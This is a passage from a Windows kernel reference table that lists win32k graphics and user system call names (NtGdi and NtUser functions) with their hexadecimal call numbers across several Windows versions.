NtGdiDdUpdateOverlay |  0x1170  |  0x1170  |  0x11b1  |  0x11b9  |  0x11b9   
NtGdiDdWaitForVerticalBlank |  0x1171  |  0x1171  |  0x11b2  |  0x11ba  |  0x11ba   
NtGdiDeleteClientObj |  0x1088  |  0x1088  |  0x1089  |  0x1087  |  0x1087   
NtGdiDeleteColorSpace |  0x1125  |  0x1125  |  0x1126  |  0x111d  |  0x111d   
NtGdiDeleteColorTransform |  0x1172  |  0x1172  |  0x11b3  |  0x11bb  |  0x11bb   
NtGdiDeleteObjectApp |  0x1022  |  0x1022  |  0x1023  |  0x1023  |  0x1023   
NtGdiDescribePixelFormat |  0x1173  |  0x1173  |  0x11b4  |  0x11bc  |  0x11bc   
NtGdiDestroyOPMProtectedOutput |  |  |  0x11b5  |  0x11bd  |  0x11bd   
NtGdiDestroyPhysicalMonitor |  |  |  0x11b6  |  0x11be  |  0x11be   
NtGdiDoBanding |  0x1174  |  0x1174  |  0x11b7  |  0x11bf  |  0x11bf   
NtGdiDoPalette |  0x1046  |  0x1046  |  0x1047  |  0x1047  |  0x1047   
NtGdiDrawEscape |  0x1175  |  0x1175  |  0x11b8  |  0x11c0  |  0x11c0   
NtGdiDrawStream |  0x1061  |  0x1061  |  0x1062  |  0x1062  |  0x1062   
NtGdiDvpAcquireNotification |  0x1176  |  0x1176  |  0x11b9  |  0x11c1  |  0x11c1   
NtGdiDvpCanCreateVideoPort |  0x1177  |  0x1177  |  0x11ba  |  0x11c2  |  0x11c2   
NtGdiDvpColorControl |  0x1178  |  0x1178  |  0x11bb  |  0x11c3  |  0x11c3   
NtGdiDvpCreateVideoPort |  0x1179  |  0x1179  |  0x11bc  |  0x11c4  |  0x11c4   
NtGdiDvpDestroyVideoPort |  0x117a  |  0x117a  |  0x11bd  |  0x11c5  |  0x11c5   
NtGdiDvpFlipVideoPort |  0x117b  |  0x117b  |  0x11be  |  0x11c6  |  0x11c6   
NtGdiDvpGetVideoPortBandwidth |  0x117c  |  0x117c  |  0x11bf  |  0x11c7  |  0x11c7   
NtGdiDvpGetVideoPortConnectInfo |  0x117d  |  0x117d  |  0x11c0  |  0x11c8  |  0x11c8   
NtGdiDvpGetVideoPortField |  0x117e  |  0x117e  |  0x11c1  |  0x11c9  |  0x11c9   
NtGdiDvpGetVideoPortFlipStatus |  0x117f  |  0x117f  |  0x11c2  |  0x11ca  |  0x11ca   
NtGdiDvpGetVideoPortInputFormats |  0x1180  |  0x1180  |  0x11c3  |  0x11cb  |  0x11cb   
NtGdiDvpGetVideoPortLine |  0x1181  |  0x1181  |  0x11c4  |  0x11cc  |  0x11cc   
NtGdiDvpGetVideoPortOutputFormats |  0x1182  |  0x1182  |  0x11c5  |  0x11cd  |  0x11cd   
NtGdiDvpGetVideoSignalStatus |  0x1183  |  0x1183  |  0x11c6  |  0x11ce  |  0x11ce   
NtGdiDvpReleaseNotification |  0x1184  |  0x1184  |  0x11c7  |  0x11cf  |  0x11cf   
NtGdiDvpUpdateVideoPort |  0x1185  |  0x1185  |  0x11c8  |  0x11d0  |  0x11d0   
NtGdiDvpWaitForVideoPortSync |  0x1186  |  0x1186  |  0x11c9  |  0x11d1  |  0x11d1   
NtGdiDwmGetDirtyRgn |  |  |  0x11ca  |  |   
NtGdiDwmGetSurfaceData |  |  |  0x11cb  |  |   
NtGdiDxgGenericThunk |  0x1187  |  0x1187  |  0x11cc  |  0x11d2  |  0x11d2   
NtGdiEllipse |  0x1188  |  0x1188  |  0x11cd  |  0x11d3  |  0x11d3   
NtGdiEnableEudc |  0x1189  |  0x1189  |  0x11ce  |  0x11d4  |  0x11d4   
NtGdiEndDoc |  0x118a  |  0x118a  |  0x11cf  |  0x11d5  |  0x11d5   
NtGdiEndGdiRendering |  |  |  |  0x11d6  |  0x11d6   
NtGdiEndPage |  0x118b  |  0x118b  |  0x11d0  |  0x11d7  |  0x11d7   
NtGdiEndPath |  0x1110  |  0x1110  |  0x1111  |  0x110a  |  0x110a   
NtGdiEngAlphaBlend |  0x118c  |  0x118c  |  0x11d1  |  0x11d8  |  0x11d8   
NtGdiEngAssociateSurface |  0x118d  |  0x118d  |  0x11d2  |  0x11d9  |  0x11d9   
NtGdiEngBitBlt |  0x118e  |  0x118e  |  0x11d3  |  0x11da  |  0x11da   
NtGdiEngCheckAbort |  0x118f  |  0x118f  |  0x11d4  |  0x11db  |  0x11db   
NtGdiEngComputeGlyphSet |  0x1190  |  0x1190  |  0x11d5  |  0x11dc  |  0x11dc   
NtGdiEngCopyBits |  0x1191  |  0x1191  |  0x11d6  |  0x11dd  |  0x11dd   
NtGdiEngCreateBitmap |  0x1192  |  0x1192  |  0x11d7  |  0x11de  |  0x11de   
NtGdiEngCreateClip |  0x1193  |  0x1193  |  0x11d8  |  0x11df  |  0x11df   
NtGdiEngCreateDeviceBitmap |  0x1194  |  0x1194  |  0x11d9  |  0x11e0  |  0x11e0   
NtGdiEngCreateDeviceSurface |  0x1195  |  0x1195  |  0x11da  |  0x11e1  |  0x11e1   
NtGdiEngCreatePalette |  0x1196  |  0x1196  |  0x11db  |  0x11e2  |  0x11e2   
NtGdiEngDeleteClip |  0x1197  |  0x1197  |  0x11dc  |  0x11e3  |  0x11e3   
NtGdiEngDeletePalette |  |  |  0x11dd  |  0x11e4  |  0x11e4   
NtGdiEngDeletePath |  0x1199  |  0x1199  |  0x11de  |  0x11e5  |  0x11e5   
NtGdiEngDeleteSurface |  0x119a  |  0x119a  |  0x11df  |  0x11e6  |  0x11e6   
NtGdiEngEraseSurface |  0x119b  |  0x119b  |  0x11e0  |  0x11e7  |  0x11e7   
NtGdiEngFillPath |  0x119c  |  0x119c  |  0x11e1  |  0x11e8  |  0x11e8   
NtGdiEngGradientFill |  0x119d  |  0x119d  |  0x11e2  |  0x11e9  |  0x11e9   
NtGdiEngLineTo |  0x119e  |  0x119e  |  0x11e3  |  0x11ea  |  0x11ea   
NtGdiEngLockSurface |  0x119f  |  0x119f  |  0x11e4  |  0x11eb  |  0x11eb   
NtGdiEngMarkBandingSurface |  0x11a0  |  0x11a0  |  0x11e5  |  0x11ec  |  0x11ec   
NtGdiEngPaint |  0x11a1  |  0x11a1  |  0x11e6  |  0x11ed  |  0x11ed   
NtGdiEngPlgBlt |  0x11a2  |  0x11a2  |  0x11e7  |  0x11ee  |  0x11ee   
NtGdiEngStretchBlt |  0x11a3  |  0x11a3  |  0x11e8  |  0x11ef  |  0x11ef   
NtGdiEngStretchBltROP |  0x11a4  |  0x11a4  |  0x11e9  |  0x11f0  |  0x11f0   
NtGdiEngStrokeAndFillPath |  0x11a5  |  0x11a5  |  0x11ea  |  0x11f1  |  0x11f1   
NtGdiEngStrokePath |  0x11a6  |  0x11a6  |  0x11eb  |  0x11f2  |  0x11f2   
NtGdiEngTextOut |  0x11a7  |  0x11a7  |  0x11ec  |  0x11f3  |  0x11f3   
NtGdiEngTransparentBlt |  0x11a8  |  0x11a8  |  0x11ed  |  0x11f4  |  0x11f4   
NtGdiEngUnlockSurface |  0x11a9  |  0x11a9  |  0x11ee  |  0x11f5  |  0x11f5   
NtGdiEnumFontChunk |  0x10a5  |  0x10a5  |  0x10a6  |  |   
NtGdiEnumFontClose |  0x10a3  |  0x10a3  |  0x10a4  |  |   
NtGdiEnumFontOpen |  0x10a4  |  0x10a4  |  0x10a5  |  |   
NtGdiEnumFonts |  |  |  |  0x11f6  |  0x11f6   
NtGdiEnumObjects |  0x11aa  |  0x11aa  |  0x11ef  |  0x11f7  |  0x11f7   
NtGdiEqualRgn |  0x1117  |  0x1117  |  0x1118  |  0x1111  |  0x1111   
NtGdiEudcLoadUnloadLink |  0x11ab  |  0x11ab  |  0x11f0  |  0x11f8  |  0x11f8   
NtGdiExcludeClipRect |  0x109a  |  0x109a  |  0x109b  |  0x1099  |  0x1099   
NtGdiExtCreatePen |  0x10af  |  0x10af  |  0x10b0  |  0x10ab  |  0x10ab   
NtGdiExtCreateRegion |  0x108b  |  0x108b  |  0x108c  |  0x108a  |  0x108a   
NtGdiExtEscape |  0x111c  |  0x111c  |  0x111d  |  0x1116  |  0x1116   
NtGdiExtFloodFill |  0x11ac  |  0x11ac  |  0x11f1  |  0x11f9  |  0x11f9   
NtGdiExtGetObjectW |  0x1051  |  0x1051  |  0x1052  |  0x1052  |  0x1052   
NtGdiExtSelectClipRgn |  0x102d  |  0x102d  |  0x102e  |  0x102e  |  0x102e   
NtGdiExtTextOutW |  0x1037  |  0x1037  |  0x1038  |  0x1038  |  0x1038   
NtGdiFONTOBJ\_cGetAllGlyphHandles |  0x11ad  |  0x11ad  |  0x11f2  |  0x11fa  |  0x11fa   
NtGdiFONTOBJ\_cGetGlyphs |  0x11ae  |  0x11ae  |  0x11f3  |  0x11fb  |  0x11fb   
NtGdiFONTOBJ\_pQueryGlyphAttrs |  0x11af  |  0x11af  |  0x11f4  |  0x11fc  |  0x11fc   
NtGdiFONTOBJ\_pfdg |  0x11b0  |  0x11b0  |  0x11f5  |  0x11fd  |  0x11fd   
NtGdiFONTOBJ\_pifi |  0x11b1  |  0x11b1  |  0x11f6  |  0x11fe  |  0x11fe   
NtGdiFONTOBJ\_pvTrueTypeFontFile |  0x11b2  |  0x11b2  |  0x11f7  |  0x11ff  |  0x11ff   
NtGdiFONTOBJ\_pxoGetXform |  0x11b3  |  0x11b3  |  0x11f8  |  0x1200  |  0x1200   
NtGdiFONTOBJ\_vGetInfo |  0x11b4  |  0x11b4  |  0x11f9  |  0x1201  |  0x1201   
NtGdiFillPath |  0x1111  |  0x1111  |  0x1112  |  0x110b  |  0x110b   
NtGdiFillRgn |  0x10d8  |  0x10d8  |  0x10d9  |  0x10d4  |  0x10d4   
NtGdiFlattenPath |  0x11b5  |  0x11b5  |  0x11fa  |  0x1202  |  0x1202   
NtGdiFlush |  0x1011  |  0x1011  |  0x1012  |  0x1012  |  0x1012   
NtGdiFontIsLinked |  0x11b6  |  0x11b6  |  0x11fb  |  0x1203  |  0x1203   
NtGdiForceUFIMapping |  0x11b7  |  0x11b7  |  0x11fc  |  0x1204  |  0x1204   
NtGdiFrameRgn |  0x11b8  |  0x11b8  |  0x11fd  |  0x1205  |  0x1205   
NtGdiFullscreenControl |  0x11b9  |  0x11b9  |  0x11fe  |  0x1206  |  0x1206   
NtGdiGetAndSetDCDword |  0x1067  |  0x1067  |  0x1068  |  0x1068  |  0x1068   
NtGdiGetAppClipBox |  0x1042  |  0x1042  |  0x1043  |  0x1043  |  0x1043   
NtGdiGetBitmapBits |  0x10e2  |  0x10e2  |  0x10e3  |  0x10de  |  0x10de   
NtGdiGetBitmapDimension |  0x1101  |  0x1101  |  0x1102  |  0x10fc  |  0x10fc   
NtGdiGetBoundsRect |  0x11ba  |  0x11ba  |  0x11ff  |  0x1207  |  0x1207   
NtGdiGetCOPPCompatibleOPMInformation |  |  |  0x1200  |  0x1208  |  0x1208   
NtGdiGetCertificate |  |  |  0x1201  |  0x1209  |  0x1209   
NtGdiGetCertificateSize |  |  |  0x1202  |  0x120a  |  0x120a   
NtGdiGetCharABCWidthsW |  0x11bb  |  0x11bb  |  0x1203  |  0x120b  |  0x120b   
NtGdiGetCharSet |  0x1009  |  0x1009  |  0x1009  |  0x1009  |  0x1009   
NtGdiGetCharWidthInfo |  0x10d0  |  0x10d0  |  0x10d1  |  0x10cc  |  0x10cc   
NtGdiGetCharWidthW |  0x10cb  |  0x10cb  |  0x10cc  |  0x10c7  |  0x10c7   
NtGdiGetCharacterPlacementW |  0x11bc  |  0x11bc  |  0x1204  |  0x120c  |  0x120c   
NtGdiGetColorAdjustment |  0x11bd  |  0x11bd  |  0x1205  |  0x120d  |  0x120d   
NtGdiGetColorSpaceforBitmap |  0x11be  |  0x11be  |  0x1206  |  0x120e  |  0x120e   
NtGdiGetDCDword |  0x103e  |  0x103e  |  0x103f  |  0x103f  |  0x103f   
NtGdiGetDCObject |  0x1034  |  0x1034  |  0x1035  |  0x1035  |  0x1035   
NtGdiGetDCPoint |  0x1073  |  0x1073  |  0x1074  |  0x1073  |  0x1073   
NtGdiGetDCforBitmap |  0x109c  |  0x109c  |  0x109d  |  0x109b  |  0x109b   
NtGdiGetDIBitsInternal |  0x1086  |  0x1086  |  0x1087  |  0x1085  |  0x1085   
NtGdiGetDeviceCaps |  0x11bf  |  0x11bf  |  0x1207  |  0x120f  |  0x120f   
NtGdiGetDeviceCapsAll |  0x11c0  |  0x11c0  |  0x1208  |  0x1210  |  0x1210   
NtGdiGetDeviceGammaRamp |  0x11c1  |  0x11c1  |  0x1209  |  0x1211  |  0x1211   
NtGdiGetDeviceWidth |  0x11c2  |  0x11c2  |  0x120a  |  0x1212  |  0x1212   
NtGdiGetDhpdev |  0x11c3  |  0x11c3  |  0x120b  |  0x1213  |  0x1213   
NtGdiGetETM |  0x11c4  |  0x11c4  |  0x120c  |  0x1214  |  0x1214   
NtGdiGetEmbUFI |  0x11c5  |  0x11c5  |  0x120d  |  0x1215  |  0x1215   
NtGdiGetEmbedFonts |  0x11c6  |  0x11c6  |  0x120e  |  0x1216  |  0x1216   
NtGdiGetEudcTimeStampEx |  0x11c7  |  0x11c7  |  0x120f  |  0x1217  |  0x1217   
NtGdiGetFontData |  0x10db  |  0x10db  |  0x10dc  |  0x10d7  |  0x10d7   
NtGdiGetFontFileData |  |  |  |  0x1218  |  0x1218   
NtGdiGetFontFileInfo |  |  |  |  0x1219  |  0x1219   
NtGdiGetFontResourceInfoInternalW |  0x11c8  |  0x11c8  |  0x1210  |  0x121a  |  0x121a   
NtGdiGetFontUnicodeRanges |  0x11c9  |  0x11c9  |  0x1211  |  0x121b  |  0x121b   
NtGdiGetGlyphIndicesW |  0x11ca  |  0x11ca  |  0x1212  |  0x121c  |  0x121c   
NtGdiGetGlyphIndicesWInternal |  0x11cb  |  0x11cb  |  0x1213  |  0x121d  |  0x121d   
NtGdiGetGlyphOutline |  0x11cc  |  0x11cc  |  0x1214  |  0x121e  |  0x121e   
NtGdiGetKerningPairs |  0x11cd  |  0x11cd  |  0x1215  |  0x121f  |  0x121f   
NtGdiGetLinkedUFIs |  0x11ce  |  0x11ce  |  0x1216  |  0x1220  |  0x1220   
NtGdiGetMiterLimit |  0x11cf  |  0x11cf  |  0x1217  |  0x1221  |  0x1221   
NtGdiGetMonitorID |  0x11d0  |  0x11d0  |  0x1218  |  0x1222  |  0x1222   
NtGdiGetNearestColor |  0x1071  |  0x1071  |  0x1072  |  0x1071  |  0x1071   
NtGdiGetNearestPaletteIndex |  0x10c8  |  0x10c8  |  0x10c9  |  0x10c4  |  0x10c4   
NtGdiGetNumberOfPhysicalMonitors |  |  |  0x1219  |  0x1223  |  0x1223   
NtGdiGetOPMInformation |  |  |  0x121a  |  0x1224  |  0x1224   
NtGdiGetOPMRandomNumber |  |  |  0x121b  |  0x1225  |  0x1225   
NtGdiGetObjectBitmapHandle |  0x11d1  |  0x11d1  |  0x121c  |  0x1226  |  0x1226   
NtGdiGetOutlineTextMetricsInternalW |  0x10b7  |  0x10b7  |  0x10b8  |  0x10b3  |  0x10b3   
NtGdiGetPath |  0x11d2  |  0x11d2  |  0x121d  |  0x1227  |  0x1227   
NtGdiGetPerBandInfo |  0x11d3  |  0x11d3  |  0x121e  |  0x1228  |  0x1228   
NtGdiGetPhysicalMonitorDescription |  |  |  0x121f  |  0x1229  |  0x1229   
NtGdiGetPhysicalMonitors |  |  |  0x1220  |  0x122a  |  0x122a   
NtGdiGetPixel |  0x10c3  |  0x10c3  |  0x10c4  |  0x10bf  |  0x10bf   
NtGdiGetRandomRgn |  0x102a  |  0x102a  |  0x102b  |  0x102b  |  0x102b   
NtGdiGetRasterizerCaps |  0x10eb  |  0x10eb  |  0x10ec  |  0x10e7  |  0x10e7   
NtGdiGetRealizationInfo |  0x11d4  |  0x11d4  |  0x1221  |  0x122b  |  0x122b   
NtGdiGetRegionData |  0x103f  |  0x103f  |  0x1040  |  0x1040  |  0x1040   
NtGdiGetRgnBox |  0x1066  |  0x1066  |  0x1067  |  0x1067  |  0x1067   
NtGdiGetServerMetaFileBits |  0x11d5  |  0x11d5  |  0x1222  |  0x122c  |  0x122c   
NtGdiGetSpoolMessage |  0x11d6  |  0x11d6  |  0x1223  |  |   
NtGdiGetStats |  0x11d7  |  0x11d7  |  0x1224  |  0x122e  |  0x122e   
NtGdiGetStockObject |  0x10d4  |  0x10d4  |  0x10d5  |  0x10d0  |  0x10d0   
NtGdiGetStringBitmapW |  0x11d8  |  0x11d8  |  0x1225  |  0x122f  |  0x122f   
NtGdiGetSuggestedOPMProtectedOutputArraySize |  |  |  0x1226  |  0x1230  |  0x1230   
NtGdiGetSystemPaletteUse |  0x1118  |  0x1118  |  0x1119  |  0x1112  |  0x1112   
NtGdiGetTextCharsetInfo |  0x104c  |  0x104c  |  0x104d  |  0x104d  |  0x104d   
NtGdiGetTextExtent |  0x1095  |  0x1095  |  0x1096  |  0x1094  |  0x1094   
NtGdiGetTextExtentExW |  0x11d9  |  0x11d9  |  0x1227  |  0x1231  |  0x1231   
NtGdiGetTextFaceW |  0x1081  |  0x1081  |  0x1082  |  0x1080  |  0x1080   
NtGdiGetTextMetricsW |  0x1076  |  0x1076  |  0x1077  |  0x1075  |  0x1075   
NtGdiGetTransform |  0x10e0  |  0x10e0  |  0x10e1  |  0x10dc  |  0x10dc   
NtGdiGetUFI |  0x11da  |  0x11da  |  0x1228  |  0x1232  |  0x1232   
NtGdiGetUFIPathname |  0x11db  |  0x11db  |  0x1229  |  0x1233  |  0x1233   
NtGdiGetWidthTable |  0x1069  |  0x1069  |  0x106a  |  0x106a  |  0x106a   
NtGdiGradientFill |  0x11dc  |  0x11dc  |  0x122a  |  0x1234  |  0x1234   
NtGdiHLSurfGetInformation |  |  |  |  0x1235  |  0x1235   
NtGdiHLSurfSetInformation |  |  |  |  0x1236  |  0x1236   
NtGdiHT\_Get8BPPFormatPalette |  0x11dd  |  0x11dd  |  0x122b  |  0x1237  |  0x1237   
NtGdiHT\_Get8BPPMaskPalette |  0x11de  |  0x11de  |  0x122c  |  0x1238  |  0x1238   
NtGdiHfontCreate |  0x105c  |  0x105c  |  0x105d  |  0x105d  |  0x105d   
NtGdiIcmBrushInfo |  0x11df  |  0x11df  |  0x122d  |  0x1239  |  0x1239   
NtGdiInitSpool |  0x11e1  |  0x11e1  |  0x122f  |  0x123b  |  0x123b   
NtGdiIntersectClipRect |  0x101f  |  0x101f  |  0x1020  |  0x1020  |  0x1020   
NtGdiInvertRgn |  0x1065  |  0x1065  |  0x1066  |  0x1066  |  0x1066   
NtGdiLineTo |  0x1040  |  0x1040  |  0x1041  |  0x1041  |  0x1041   
NtGdiMakeFontDir |  0x11e2  |  0x11e2  |  0x1230  |  0x123c  |  0x123c   
NtGdiMakeInfoDC |  0x11e3  |  0x11e3  |  0x1231  |  0x123d  |  0x123d   
NtGdiMakeObjectUnXferable |  0x11e4  |  0x11e4  |  0x1232  |  0x123e  |  0x123e   
NtGdiMakeObjectXferable |  0x11e5  |  0x11e5  |  0x1233  |  0x123f  |  0x123f   
NtGdiMaskBlt |  0x1068  |  0x1068  |  0x1069  |  0x1069  |  0x1069   
NtGdiMirrorWindowOrg |  0x11e6  |  0x11e6  |  0x1234  |  0x1240  |  0x1240   
NtGdiModifyWorldTransform |  0x10da  |  0x10da  |  0x10db  |  0x10d6  |  0x10d6   
NtGdiMonoBitmap |  0x11e7  |  0x11e7  |  0x1235  |  0x1241  |  0x1241   
NtGdiMoveTo |  0x11e8  |  0x11e8  |  0x1236  |  0x1242  |  0x1242   
NtGdiOffsetClipRgn |  0x11e9  |  0x11e9  |  0x1237  |  0x1243  |  0x1243   
NtGdiOffsetRgn |  0x107f  |  0x107f  |  0x1080  |  0x107e  |  0x107e   
NtGdiOpenDCW |  0x10de  |  0x10de  |  0x10df  |  0x10da  |  0x10da   
NtGdiPATHOBJ\_bEnum |  0x11ea  |  0x11ea  |  0x1238  |  0x1244  |  0x1244   
NtGdiPATHOBJ\_bEnumClipLines |  0x11eb  |  0x11eb  |  0x1239  |  0x1245  |  0x1245   
NtGdiPATHOBJ\_vEnumStart |  0x11ec  |  0x11ec  |  0x123a  |  0x1246  |  0x1246   
NtGdiPATHOBJ\_vEnumStartClipLines |  0x11ed  |  0x11ed  |  0x123b  |  0x1247  |  0x1247   
NtGdiPATHOBJ\_vGetBounds |  0x11ee  |  0x11ee  |  0x123c  |  0x1248  |  0x1248   
NtGdiPatBlt |  0x1059  |  0x1059  |  0x105a  |  0x105a  |  0x105a   
NtGdiPathToRegion |  0x11ef  |  0x11ef  |  0x123d  |  0x1249  |  0x1249   
NtGdiPlgBlt |  0x11f0  |  0x11f0  |  0x123e  |  0x124a  |  0x124a   
NtGdiPolyDraw |  0x11f1  |  0x11f1  |  0x123f  |  0x124b  |  0x124b   
NtGdiPolyPatBlt |  0x106f  |  0x106f  |  0x1070  |  0x106f  |  0x106f   
NtGdiPolyPolyDraw |  0x1047  |  0x1047  |  0x1048  |  0x1048  |  0x1048   
NtGdiPolyTextOutW |  0x11f2  |  0x11f2  |  0x1240  |  0x124c  |  0x124c   
NtGdiPtInRegion |  0x11f3  |  0x11f3  |  0x1241  |  0x124d  |  0x124d   
NtGdiPtVisible |  0x11f4  |  0x11f4  |  0x1242  |  0x124e  |  0x124e   
NtGdiQueryFontAssocInfo |  0x10f9  |  0x10f9  |  0x10fa  |  0x10f5  |  0x10f5   
NtGdiQueryFonts |  0x11f5  |  0x11f5  |  0x1243  |  0x124f  |  0x124f   
NtGdiRectInRegion |  0x10c1  |  0x10c1  |  0x10c2  |  0x10bd  |  0x10bd   
NtGdiRectVisible |  0x1032  |  0x1032  |  0x1033  |  0x1033  |  0x1033   
NtGdiRectangle |  0x1091  |  0x1091  |  0x1092  |  0x1090  |  0x1090   
NtGdiRemoveFontMemResourceEx |  0x1119  |  0x1119  |  0x111a  |  0x1113  |  0x1113   
NtGdiRemoveFontResourceW |  0x11f6  |  0x11f6  |  0x1244  |  0x1250  |  0x1250   
NtGdiRemoveMergeFont |  0x11f7  |  0x11f7  |  0x1245  |  0x1251  |  0x1251   
NtGdiResetDC |  0x11f8  |  0x11f8  |  0x1246  |  0x1252  |  0x1252   
NtGdiResizePalette |  0x11f9  |  0x11f9  |  0x1247  |  0x1253  |  0x1253   
NtGdiRestoreDC |  0x1039  |  0x1039  |  0x103a  |  0x103a  |  0x103a   
NtGdiRoundRect |  0x11fa  |  0x11fa  |  0x1248  |  0x1254  |  0x1254   
NtGdiSTROBJ\_bEnum |  0x11fb  |  0x11fb  |  0x1249  |  0x1255  |  0x1255   
NtGdiSTROBJ\_bEnumPositionsOnly |  0x11fc  |  0x11fc  |  0x124a  |  0x1256  |  0x1256   
NtGdiSTROBJ\_bGetAdvanceWidths |  0x11fd  |  0x11fd  |  0x124b  |  0x1257  |  0x1257   
NtGdiSTROBJ\_dwGetCodePage |  0x11fe  |  0x11fe  |  0x124c  |  0x1258  |  0x1258   
NtGdiSTROBJ\_vEnumStart |  0x11ff  |  0x11ff  |  0x124d  |  0x1259  |  0x1259   
NtGdiSaveDC |  0x103a  |  0x103a  |  0x103b  |  0x103b  |  0x103b   
NtGdiScaleViewportExtEx |  0x1200  |  0x1200  |  0x124e  |  0x125a  |  0x125a   
NtGdiScaleWindowExtEx |  0x1201  |  0x1201  |  0x124f  |  0x125b  |  0x125b   
NtGdiSelectBitmap |  0x100b  |  0x100b  |  0x100b  |  0x100b  |  0x100b   
NtGdiSelectBrush |  0x1202  |  0x1202  |  0x1250  |  0x125c  |  0x125c   
NtGdiSelectClipPath |  0x1203  |  0x1203  |  0x1251  |  0x125d  |  0x125d   
NtGdiSelectFont |  0x1038  |  0x1038  |  0x1039  |  0x1039  |  0x1039   
NtGdiSelectPen |  0x1204  |  0x1204  |  0x1252  |  0x125e  |  0x125e   
NtGdiSetBitmapAttributes |  0x1205  |  0x1205  |  0x1253  |  0x125f  |  0x125f   
NtGdiSetBitmapBits |  0x10b8  |  0x10b8  |  0x10b9  |  0x10b4  |  0x10b4   
NtGdiSetBitmapDimension |  0x111d  |  0x111d  |  0x111e  |  0x1117  |  0x1117   
NtGdiSetBoundsRect |  0x10ff  |  0x10ff  |  0x1100  |  0x10fb  |  0x10fb   
NtGdiSetBrushAttributes |  0x1206  |  0x1206  |  0x1254  |  0x1260  |  0x1260   
NtGdiSetBrushOrg |  0x10b1  |  0x10b1  |  0x10b2  |  0x10ad  |  0x10ad   
NtGdiSetColorAdjustment |  0x1207  |  0x1207  |  0x1255  |  0x1261  |  0x1261   
NtGdiSetColorSpace |  0x1208  |  0x1208  |  0x1256  |  0x1262  |  0x1262   
NtGdiSetDIBitsToDeviceInternal |  0x1028  |  0x1028  |  0x1029  |  0x1029  |  0x1029   
NtGdiSetDeviceGammaRamp |  0x1209  |  0x1209  |  0x1257  |  0x1263  |  0x1263   
NtGdiSetFontEnumeration |  |  |  0x111f  |  0x1118  |  0x1118   
NtGdiSetFontXform |  0x120a  |  0x120a  |  0x1258  |  0x1264  |  0x1264   
NtGdiSetIcmMode |  0x120b  |  0x120b  |  0x1259  |  0x1265  |  0x1265   
NtGdiSetLayout |  0x1097  |  0x1097  |  0x1098  |  0x1096  |  0x1096   
NtGdiSetLinkedUFIs |  0x120c  |  0x120c  |  0x125a  |  0x1266  |  0x1266   
NtGdiSetMagicColors |  0x120d  |  0x120d  |  0x125b  |  0x1267  |  0x1267   
NtGdiSetMetaRgn |  0x10e8  |  0x10e8  |  0x10e9  |  0x10e4  |  0x10e4   
NtGdiSetMiterLimit |  0x10e9  |  0x10e9  |  0x10ea  |  0x10e5  |  0x10e5   
NtGdiSetOPMSigningKeyAndSequenceNumbers |  |  |  0x125c  |  0x1268  |  0x1268   
NtGdiSetPUMPDOBJ |  0x120e  |  0x120e  |  0x125d  |  0x1269  |  0x1269   
NtGdiSetPixel |  0x10b3  |  0x10b3  |  0x10b4  |  0x10af  |  0x10af   
NtGdiSetPixelFormat |  0x120f  |  0x120f  |  0x125e  |  0x126a  |  0x126a   
NtGdiSetRectRgn |  0x1210  |  0x1210  |  0x125f  |  0x126b  |  0x126b   
NtGdiSetSizeDevice |  0x1211  |  0x1211  |  0x1260  |  0x126c  |  0x126c   
NtGdiSetSystemPaletteUse |  0x1212  |  0x1212  |  0x1261  |  0x126d  |  0x126d   
NtGdiSetTextJustification |  0x1213  |  0x1213  |  0x1262  |  0x126e  |  0x126e   
NtGdiSetVirtualResolution |  0x10ea  |  0x10ea  |  0x10eb  |  0x10e6  |  0x10e6   
NtGdiSetupPublicCFONT |  0x110b  |  0x110b  |  0x110c  |  |   
NtGdiSfmGetNotificationTokens |  |  |  |  0x126f  |  0x126f   
NtGdiStartDoc |  0x1214  |  0x1214  |  0x1263  |  0x1270  |  0x1270   
NtGdiStartPage |  0x1215  |  0x1215  |  0x1264  |  0x1271  |  0x1271   
NtGdiStretchBlt |  0x1030  |  0x1030  |  0x1031  |  0x1031  |  0x1031   
NtGdiStretchDIBitsInternal |  0x1082  |  0x1082  |  0x1083  |  0x1081  |  0x1081   
NtGdiStrokeAndFillPath |  0x1216  |  0x1216  |  0x1265  |  0x1272  |  0x1272   
NtGdiStrokePath |  0x1217  |  0x1217  |  0x1266  |  0x1273  |  0x1273   
NtGdiSwapBuffers |  0x1218  |  0x1218  |  0x1267  |  0x1274  |  0x1274   
NtGdiTransformPoints |  0x1072  |  0x1072  |  0x1073  |  0x1072  |  0x1072   
NtGdiTransparentBlt |  0x1219  |  0x1219  |  0x1268  |  0x1275  |  0x1275   
NtGdiUMPDEngFreeUserMem |  0x121a  |  0x121a  |  0x1269  |  0x1276  |  0x1276   
NtGdiUnloadPrinterDriver |  0x121b  |  0x121b  |  |  |   
NtGdiUnrealizeObject |  0x108f  |  0x108f  |  0x1090  |  0x108e  |  0x108e   
NtGdiUpdateColors |  0x121d  |  0x121d  |  0x126c  |  0x1279  |  0x1279   
NtGdiUpdateTransform |  0x121e  |  0x121e  |  0x126d  |  0x127a  |  0x127a   
NtGdiWidenPath |  0x121f  |  0x121f  |  0x126e  |  0x127b  |  0x127b   
NtGdiXFORMOBJ\_bApplyXform |  0x1220  |  0x1220  |  0x126f  |  0x127c  |  0x127c   
NtGdiXFORMOBJ\_iGetXform |  0x1221  |  0x1221  |  0x1270  |  0x127d  |  0x127d   
NtGdiXLATEOBJ\_cGetPalette |  0x1222  |  0x1222  |  0x1271  |  0x127e  |  0x127e   
NtGdiXLATEOBJ\_hGetColorTransform |  0x1223  |  0x1223  |  0x1272  |  0x127f  |  0x127f   
NtGdiXLATEOBJ\_iXlate |  0x1224  |  0x1224  |  0x1273  |  0x1280  |  0x1280   
NtUserActivateKeyboardLayout |  0x1126  |  0x1126  |  0x1127  |  0x111e  |  0x111e   
NtUserAddClipboardFormatListener |  |  |  0x1274  |  0x1281  |  0x1281   
NtUserAlterWindowStyle |  0x10d7  |  0x10d7  |  0x10d8  |  0x10d3  |  0x10d3   
NtUserAssociateInputContext |  0x1225  |  0x1225  |  0x1275  |  0x1282  |  0x1282   
NtUserAttachThreadInput |  0x10f0  |  0x10f0  |  0x10f1  |  0x10ec  |  0x10ec   
NtUserBeginPaint |  0x1016  |  0x1016  |  0x1017  |  0x1017  |  0x1017   
NtUserBitBltSysBmp |  0x10cf  |  0x10cf  |  0x10d0  |  0x10cb  |  0x10cb   
NtUserBlockInput |  0x1226  |  0x1226  |  0x1276  |  0x1283  |  0x1283   
NtUserBuildHimcList |  0x1227  |  0x1227  |  0x1277  |  0x1284  |  0x1284   
NtUserBuildHwndList |  0x101b  |  0x101b  |  0x101c  |  0x101c  |  0x101c   
NtUserBuildNameList |  0x10b2  |  0x10b2  |  0x10b3  |  0x10ae  |  0x10ae   
